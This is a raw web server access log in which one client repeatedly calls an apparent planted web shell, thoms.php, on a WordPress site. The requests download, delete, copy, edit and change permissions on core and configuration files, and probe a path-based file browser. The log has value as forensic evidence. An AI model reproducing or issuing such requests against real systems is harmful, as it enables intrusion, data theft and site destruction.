45.135.193.11 - - [11/Sep/2026:23:11:36 -0400] "GET /thoms.php?chmod=widgets&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=widgets&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:36 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-matchesmapregex.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-matchesmapregex.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:35 -0400] "GET /thoms.php?dl=class-wp-block-bindings-source.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-source.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:36 -0400] "GET /thoms.php?del=class-wp-block-styles-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57884 "http://163.245.207.76:443/thoms.php?del=class-wp-block-styles-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:36 -0400] "GET /thoms.php?chmod=update.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=update.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:36 -0400] "GET /thoms.php?dl=class-wp-network.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-network.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:36 -0400] "GET /thoms.php?dl=robots-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=robots-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:36 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-templates-registry.php HTTP/1.1" 200 13967 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-templates-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:37 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-customize-nav-menus.php HTTP/1.1" 200 30345 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-customize-nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:36 -0400] "GET /thoms.php?dl=class-feed.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=class-feed.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:37 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ftheme-i18n.json&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ftheme-i18n.json&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:37 -0400] "GET /thoms.php?chmod=class-walker-page-dropdown.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=class-walker-page-dropdown.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:37 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-parser.php HTTP/1.1" 200 15824 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-parser.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:37 -0400] "GET /thoms.php?chmod=class-wp-role.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=class-wp-role.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:37 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fblock-bindings&p= HTTP/1.1" 200 11967 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fblock-bindings&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:37 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=connectors.php HTTP/1.1" 200 21401 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=connectors.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:37 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=feed-rss2-comments.php HTTP/1.1" 200 13556 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=feed-rss2-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:37 -0400] "GET /thoms.php?del=class-wp-admin-bar.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-admin-bar.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:37 -0400] "GET /thoms.php?del=class-wp-plugin-dependencies.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?del=class-wp-plugin-dependencies.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:38 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Frss-functions.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Frss-functions.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:38 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fblocks&p= HTTP/1.1" 200 11981 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fblocks&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:38 -0400] "GET /thoms.php?chmod=abilities.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=abilities.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:38 -0400] "GET /thoms.php?del=block-i18n.json&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57912 "http://163.245.207.76:443/thoms.php?del=block-i18n.json&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:38 -0400] "GET /thoms.php?dl=class-wp-block-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:38 -0400] "GET /thoms.php?del=robots-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=robots-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:38 -0400] "GET /thoms.php?del=shortcodes.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=shortcodes.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:38 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fhtml-api&p= HTTP/1.1" 200 11940 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fhtml-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:39 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-walker-category.php HTTP/1.1" 200 14721 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-walker-category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:39 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:39 -0400] "GET /thoms.php?del=class-smtp.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=class-smtp.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:39 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11546 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:39 -0400] "GET /thoms.php?del=class-wp-http-encoding.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57873 "http://163.245.207.76:443/thoms.php?del=class-wp-http-encoding.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:39 -0400] "GET /thoms.php?del=class-wp-user-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57899 "http://163.245.207.76:443/thoms.php?del=class-wp-user-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:40 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-user.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-user.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:39 -0400] "GET /thoms.php?del=style-engine&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=style-engine&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:39 -0400] "GET /thoms.php?del=class-json.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-json.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:40 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fhttp.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11867 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fhttp.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:40 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ffeed-rss2-comments.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ffeed-rss2-comments.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:40 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fwidgets&p= HTTP/1.1" 200 11980 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fwidgets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:40 -0400] "GET /thoms.php?edit=wp-config-sample.php&p=bft.com.tw HTTP/1.1" 200 13043 "http://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:40 -0400] "GET /thoms.php?dl=theme-templates.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=theme-templates.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:40 -0400] "GET /thoms.php?edit=wp-config-sample.php&env=ace&p=bft.com.tw HTTP/1.1" 200 16627 "http://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&env=ace&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:40 -0400] "GET /thoms.php?dl=class-snoopy.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-snoopy.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:40 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11446 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:41 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&p= HTTP/1.1" 200 11973 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:41 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&p=bft.com.tw%2F.well-known HTTP/1.1" 200 11405 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:41 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:41 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11857 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:41 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:41 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&p=bft.com.tw%2F.tmb HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18980 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:41 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 18024 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:41 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11321 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:41 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:41 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:41 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:41 -0400] "GET /thoms.php?edit=wp-signup.php&p=bft.com.tw HTTP/1.1" 200 22262 "http://163.245.207.76:443/thoms.php?edit=wp-signup.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:41 -0400] "GET /thoms.php?edit=wp-signup.php&env=ace&p=bft.com.tw HTTP/1.1" 200 25911 "http://163.245.207.76:443/thoms.php?edit=wp-signup.php&env=ace&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:41 -0400] "GET /bft.com.tw/wp-links-opml.php?step=0 HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:41 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 18270 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:42 -0400] "GET /bft.com.tw/client-global/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fclient-global%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fclient-global%2F HTTP/1.1" 200 28593 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:42 -0400] "GET /thoms.php?edit=wp-settings.php&env=ace&p=bft.com.tw HTTP/1.1" 200 22851 "http://163.245.207.76:443/thoms.php?edit=wp-settings.php&env=ace&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:41 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 4554 "https://163.245.207.76/bft.com.tw/wp-links-opml.php?step=0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:42 -0400] "GET /thoms.php?edit=wp-settings.php&p=bft.com.tw HTTP/1.1" 200 19234 "http://163.245.207.76:443/thoms.php?edit=wp-settings.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:42 -0400] "GET /bft.com.tw/client-global/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fclient-global%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 8631 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:42 -0400] "GET /bft.com.tw/client-global/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fclient-global%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7979 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:42 -0400] "GET /bft.com.tw/client-global/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fclient-global%2F HTTP/1.1" 200 6547 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:42 -0400] "GET /bft.com.tw/client-global/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fclient-global%2F%2Fcjfuns.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fclient-global%2F HTTP/1.1" 200 6633 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:42 -0400] "GET /bft.com.tw/client-global/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fclient-global%2F&location=%2F HTTP/1.1" 200 7828 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
